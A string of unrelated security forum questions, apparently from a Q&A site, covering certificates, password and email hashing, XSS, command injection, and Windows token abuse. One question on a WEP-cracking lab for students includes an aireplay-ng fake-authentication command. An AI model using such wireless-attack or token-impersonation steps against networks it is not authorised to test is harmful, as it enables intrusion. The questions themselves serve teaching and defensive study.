I am creating a demo of the infamous windows tokens manipulation. the scenario I am using is as follows: A single PC connected to the domain controller. 2 users are signed in the DC through that computer. A regular user and a domain admin. I am using nishang to enumerate tokens but no tokens are found. How can I create tokens in order to use them? Thanks.
Say I have a website running a popular CMS like Wordpress only over SSL through HTTP Strict Transport Security. Prior, the backend administrator login page could be accessed by anybody simply by adding /wp-admin to the URL, but using a mix of mod_rewrite and a plugin, it is now obfuscated and stops brute force attacks. Now, what if HTTP Digest Authentication was added to the picture? An attacker that somehow found the login page would be faced with another obstacle they'd need to overcome. Does this provide any improvement on security or is it just pointless?
My background is in compilers/code optimization, and I'm wondering whether there might be any interesting applications of extremely aggressive runtime code specialization towards improving security applications. So: suppose we have a JIT compiler that can perform aggressive code optimizations based on runtime constants. (These runtime values are not known at compile time and so the corresponding optimizations can't be done at compile time.) Are there interesting security-related problems that could benefit from something like this?
I am writing a web app that connects to external web services. The external web services serve an intermediate certificate signed by Thawte SGC CA - G2. When I setup IIS to run the web app using service account on a separate corporate domain (let's say, DEV\service_account), the application fails to validate the certificate because it doesn't trust the CA. However, when I use my own account, there is no such problem. A look into the machine and my account certificate stores shows that Thawte SGC CA - G2 isn't in any of Personal, Intermediate or Trusted Root CA stores. How then, does my account decide that the certificate can be trusted?
I have found these benchmarks in Crypto++'s site. http://www.cryptopp.com/benchmarks.html But I am, quite honestly, not entirely sure how to interpret them. I am really looking for a set of benchmarks, or a study, that shows how asymmetric encryption is slower (and more computationally expensive) than symmetric encryption. Basically, something that directly pits them against each other and shows the slower performance of asymmetric ciphers. Could anyone link me to something like that? My Google searches have proved futile.
Edit: removed a part of the original question; I'll break it down in a different post. I am following @Polynomial's answer to store information in a database. Here are my requirements: Only the user can see their information. The server only sees scrambled data. Allows for easy password changes OK with "lost your password, lost your data" If possible, doesn't store a hash of the user password Use only one server and its own storage space Here's what I have so far: DB Table USER_DATA contains ([XORed key] [random IV] [encrypted secret data] [userID]) Data Entry 1. User enters (secret data) into a form. 2. User enters (user password) 3. Generate a strong (random key). 4. Encrypt (secret data) using (random key) and (random IV), as (encrypted secret data). 5. XOR hash of (random key) with hash of (user password) as (XORed key). 6. In the database, store in a new row: (XORed key),(random IV),(encrypted secret data), (userID) Retrieve Data 1. Ask user for (user password). 2. Query database for (XORed key),(random IV),(encrypted secret data). 3. XOR hash (user password) with (XORed key) to retrieve the initial (random key) 4. Use (random key), (random IV) to decrypt (encrypted secret data). 5. Display decrypted data on screen. I'd like to request feedback about the system above, regarding its (1) security and (2) efficiency. I would also like to get your thoughts about the following system: Authentication The simple way would be to store a hash of the password, authenticate against it, and create a session to allow browsing the records. Each record is decrypted and then displayed to the user. However, since the password is used to decrypt all user information, I'm trying to avoid storing its hash: I'm curious if it's even possible with only one server involved. Here is one system I thought of, but breaking it would take exactly the same effort of brute-forcing a hash: Initial User Login 1. Ask user for (user password) 1. Create a strong (random key) 2. XOR (user password) with (random key) into (XORed key). Store this value in the database. 3. Create a (random hash). Store in database. 4. Encrypt (random hash) with (random key) and (random IV) as (Encrypted random hash). Store in database. So now we have in the database: Table USER_AUTH ([XORed key] [random hash] [Encrypted random hash] [random IV] ) In subsequent logins, the password the user supplies is XORed with (XORed key) to retrieve (random key). (random key) is then used to decrypt (Encrypted random hash). If the decrypted value is the same as (random hash), then the password is correct.
Recently, I stumbled with this topic in my mind for few days. I understand that obfuscation is not the best protection against reverse engineering. I wonder if there is another method that make it harder for reverse engineering, especially in mobile apps. In android environment, it is easier to reverse engineer an APK due to Java Nature. In IOS, I would care less about obfuscation, except for Jailbroken devices. My question here: Obfuscation is always reversible. Is there any method that can help make it harder for reverse-engineering? Does it help if we update the APK with new released mapping obfuscation every month? How long usually hackers will be able to reversed engineered obfuscated APK?Let say that I don't really care about the code itself, but I more concern with specific data that I may need to hard coded them in APK. Lastly, is there anything preventive action we can take with Jailbroken phone? For example, make the app is not downloable from app store if it is jailbroken.
If any characters are allowed in the alt attribute of an img tag (except for double quotes), is XSS possible? Valid image or not.
With the frantic certificate upheaval resulting from the Heartbleed fiasco [drink!], there has been lots of talk regarding certificate revocation, and in particular the policy of certificate verification through CRLs and OCSP. One thing that's come up is the general consensus among the browser vendors that forcing verification of certificates (i.e. requiring CRL lookups to succeed) would decrease site safety rather than increasing it. What sort of vulnerability does a hard-fail verification policy create? Why would enforcing additional security checks make us less safe?
I was just referring to this article: http://en.wikipedia.org/wiki/Port_knocking The term Port Knocking, as explained here, was slightly confusing and I was feeling difficulty in getting the hang of it. I would be really thankful if anyone could offer a simpler explanation.
I was reading weaknesses in AES encryption. Unfortunately, I have a website that uses AES: Its database is almost entirely AES encrypted. Is there a real threat? Would it be worth to refactor the web site's implementation?
Let's say that I've a relatively strong password, but I don't want to use many different passwords for each different service, and let's say that those services provide two-factor authentication using a password and a TOTP, for example like Gmail, Facebook, ...etc Is it still secure to use the same password on those services as long the second factor is different?
I issued my server a Startcom class 1 cert. With no changes on the client, I can access this server via FF without issue. However, when try to validate the certificate via openssl s_client it chokes complaining about missing certificates. I can resolve the above openssl issue by copying Startcom's "intermediate" certificate into /etc/ssl/certs and symlinking the file in the <hash>.<iterator> format. Question: Do I need to take this step? It appears the Startcom's root certificate is already trusted. Further FF is able to complete the certificate chain without issue. Am I missing a step? Why would the ca-certificates package trust the root and not the intermediate certificate? Why do I have to manually trust Startcom? EDIT: I'm using ubuntu 12.04 in this case.
This question is about Claims-Based Authorization and Windows Identity Foundation (unfortunately I lack the priviledge to create a tag for this). Consider the following simple use case: I have a class User and a class Project, (for the sake of simplicity) each project has exactly one assigned User, The access control policy is that A user can only read data of projects he is assigned to. I am trying to model this using WIF and Claims-Based Authorization. So I have the following method for which I want to check the access: public Project ReadProject(int id) To do this, I would have to make a call to the ClaimsAuthorizationManager with an AuthorizationContext containing the principal (=the user) and Claims for resources he wants to access and actions he want to perform on these resources. What I am not clear on: In the above use case, the permission is based on the fact project.AssignedUserID == user.ID. What would the Claims look like? Is this requirement a Claim on the User/Principal, like "User has access project ID X", that I have to set before calling the ClaimsAuthorizationManager? If yes, at which point would I assign that Claim to the User? And would that not screw up the whole point of having centralized place to declare and check policies? Is it rather something that the ClaimsAuthorizationManager would check by looking up the database? If so, how would I translate the fact which project he wants to access into a Claim? Most examples I find for CBA are based on attributes about the user (e.g. what country he is from), so I have no idea how to perform checks on the User-Data relation.
If I have a salt of 16bytes and 16bytes of data, how fast can one find another 16bytes of data so that MD5(salt + data) == MD5(salt + other data)? I don't expect an answer accurate to the nanosecond, just an estimation like "a few seconds", "a few hours", "a few civilizations".
Assuming that the users have dynamic IPs (so I can't whitelist) and that setting up a VPN is not an option, is it a valid approach to restrict access to an administration area by only allowing IPs that are currently connected via SSH on the server? Are there any security issues with this? What if the server in which the user is logged in via SSH isn't the same as the site's server. Is it OK to have the site call a service on that other server that would tell if an specific IP is logged in? Any implications that I'm not aware of? PS: I'd still be asking for password over SSL and implementing other basic security measures, the question is about restricting access. PPS: I understand the usability issues, assume users are always logged in via SSH.
When we refer to symmetry in cryptographic algorithms such as symmetric or assymetric does the symmetry refers only to the equality or not of the keys, or does it also refer to the symmetry of encryption and decryption operations? Also does symmetry when refering to keys means they are equal? Is there any symmetry between a private and public key? They might be different but they are linked in a way,in rsa for example.
I have successfully being able to perform WEP key cracking attack using aircrack tool. I want to allow my students to test this in a lab environment. They will be working fro their own laptops against the lab Access Point. I have tried to perform the attack simultaneously to make sure this is not an issue that will make the lab fail, in the first test, I used two laptops concurrently performing the commands needed to perform the attack. The problem was that the two laptops' wireless cards failed to make a faked authentication. When I entered the command: aireplay-ng -1 0 -a [MAC of AP] -h [MAC of wireless card] mon0 I get the result as: While, in the successful association, I should see: Without seeing the line: Association successful, as in fig. 2, the experiment fail (I can not crack the password). However, in another test, using the same two laptops concurrently, performing the commands, I could successfully do the faked authentication and associated the two wireless cards and the attack succeed. I need to make sure that the attack must work successfully even I have several laptops each with its own wireless card trying to crack a single AP ?? Technically, is there any problem if several PCs are trying to be associated to the AP using the previous commands to do faked authentication? What was the problem in the first test that caused the cards not being able to be associated to the AP? UPDATE: It sounds that for unknown reasons to me some times one or both of the wireless cards works in a channel different than the AP channel that's why the fake authentication does not happen. How can I reset the card channel? It is Alpha AWUS036H.
I am currently building a web service at http://write-math.com similar to http://detexify.kirelabs.org/ that should help users to get LaTeX code from drawn formulae. It is part of my bachelors thesis and a main goal of this project is to make it easier to do research in the field of on-line handwriting recognition. That means I want to share all data I get from users. The easiest way to do so would be to simply dump the database. This way I could do my back-up copy and a dump for researchers in one step. There are only two pieces where I hesitate to share it with the public as soon as other users use my system: Email addresses and passwords. Passwords The password is stored hashed and salted (that means I store md5($userpass.$salt) and $salt which is an 8 character random string with characters from A-Za-z0-9 - the salt is generated for each user). Is that enough so that it would be ok to make this public? The main part of the question is about the Email address: At the moment, I store it as plain text. But I am thinking about storing a hash of the Email address only. This hash could not be salted, because my login function works as follows: The user enters $email and $password. Both get sent as plain text to the server. Then the server does (as pseudocode): $pwdb, $salt = query(SELECT password, salt FROM users WHERE email = :email) if (md5($password.$salt) == $pwdb) { Logged in } else { Wrong password } Email addresses It does not matter if :email is $email or md5($email) or md5($email.$applicationwide_random_str). But I can't make a new salt for each user without having to go through each user (which would probably be not too bad when I think I will never have more than 10,000 users). Questions How long would it take to "unhash" one Email (e.g. info@martin-thoma.de or mexplex@gmail.com) which has a random salt of 8 characters attached (e.g. FHCJ81ru) with "standard" hardware (< $1000) when you don't know the random string? Is it a matter of seconds, minutes, hours or days? Is it bad if people can do that? I mean they could also simply send Emails and look what they get back. In my service, there is not much personal data involved: handwritten symbols and formulae eventually handedness eventually when / where the person learned writing eventually the language of the user Why does no service hash the Email address (ok, I don't know if there are no services that do so, but I have never read that - hashing passwords is common, but hashing Email addresses? Never heard that.) Is it a good idea to hash Emails if you want to use the Email only if the user has lost his password and to sign in? (I though about using OpenID, but most people don't know what it is)
I am using Process.Start in a Windows Service I created to execute an exe that I have on my server that is used for audio conversion. I am passing some user input as a parameter to this exe. The code looks something like this: string filePath = "\ffmpeg.exe"; string parameters = String.Format(@"-i ""{0}"" -f mp3 ""{1}""", LocalFileName, tempDirectory + NewFileName); ProcessStartInfo startInfo = new ProcessStartInfo(ffmpegPath, parameters); Process proc = Process.Start(startInfo); The variables LocalFileName and NewFileName are set from user input. If I want to protect against OS Injection, is it sufficient to strip out any & characters or is there more that I should be doing?
I was wondering about md5 encryption. It is good, and I agree that it is unbreakable. But this is why we have rainbow tables. What if bunch of people gather together and start brute forcing and creating a hash for every single possible combination of characters. Especially if you are someone like NSA then you probably have computational power to generate hash tables for all possible combinations within relatively "short" time. Therefore wouldn't that render md5 encryption pointless? Sorry if this is inadequate question, but I simply couldn't stop thinking about this.
I've been reading about Ubuntu LVM Encryption, and I understand that it supports the use of Linux Unified Key Setup (LUKS) during installation, which is a block level encryption that encrypts the entire logical volume. Is it possible to read files on the encrypted volume when I boot the system with rescue media or a live CD?
When I send out emails using Gmail, is my IP address being recorded? Can the recipient of my Gmail message know my IP address and thus infer where I am located?
Comparing ways of distributing and securely storing and querying structured and schemaless data. Currently I am using MongoDB, but am looking into (Postgres|MySQL)&CryptDB, Cassandra and others. What do I need to keep in mind, for securely storing and expressively querying [potentially] massive data?
Are SMS and MMS sent via a mobile phone stored on telecommunication service providers' servers before passing them to the recipient? Does it depend on the country or does every network service provider have the resources to do something like this?
Following this topic, I have a question about how the OS and apps access data while the phone is locked. Particularly in the case of iPhone 5S running iOS 7. When the device is locked, what allows apps to access data from the flash memory? For example when receiving an incoming call, the phone app accesses your contacts and displays the appropriate information (name, picture, etc). When first booted, iOS loads notification center, lockscreen background, etc. Are these stored in the flash memory? If yes, how does the OS get permissions to access them without your passcode?
How is the accuracy of a biometric security system (its ability to minimize false acceptance rate and false rejection rate) determined?
I want to propose an architecture of intrusion detection on the schema shown below. Should I place one IDS in front of each server, or would one be sufficient for all the servers?
Or: "Do I need to be concerned about emailing people scans of my passport if they want to verify my identity?" Is there anything anyone can do with the information on the main page of the passport that could be used to hurt the owner in the short or long term?
I have a Microsoft Access database which contains encrypted data: When I copy-paste it, it looks like $ 8F). How can I determine the used encryption algorithm? How can I convert this to readable text???
I got a spam attachment from two of my facebook friends I know it is spam because of the nature of the content I also know that these aren't the type of people to send such a message to me deliberately, so I am sure they ran some kind of script while being logged in to facebook The message has a zip file attachment, and I would like to see what happens if I click it I am fine with it downloading some unsafe zip file to my computer, since I will be doing it in a virtual machine anyway But I have been told by others that it is possible to run scripts on facebook just by clicking a link (for example, if I click a link something gets posted on my wall that has all of my friends tagged in it). Is this true? Personally I don't believe it should be possible, but I am not sure and would like some confirmation (for example, I don't want a simple clicking of that attachment to send automated messages to all my contacts. Malware file being downloaded is fine though) Alternatively, is it possible to forward a facebook private message? Or somehow open that attachment without logging in to facebook, or get it to download from a different account? PS: This spam is either very new or not very popular, as searching the name of the zip file in google does not give any results (or perhaps the zip file has been generated with a random name may be?) This is what the message looks like:
I received a strange issue reported by one of my web application users. Apparently they are getting "ads" within the browser window when using my application. I didn't add advertisements at all. It's a straightforward ASP.NET web application. What I believe is happening is that the end user's PC is infected with malware that "hops" onto their browser session to display the ads. This could happen with any website, I guess. I recommended they scan their PC with Malwarebytes. Is this something that can only be controlled by the end-user, or are there steps that web application developers can take to prevent this from happening? In addition, some hints regarding the mechanism employed by this type of malware would be nice.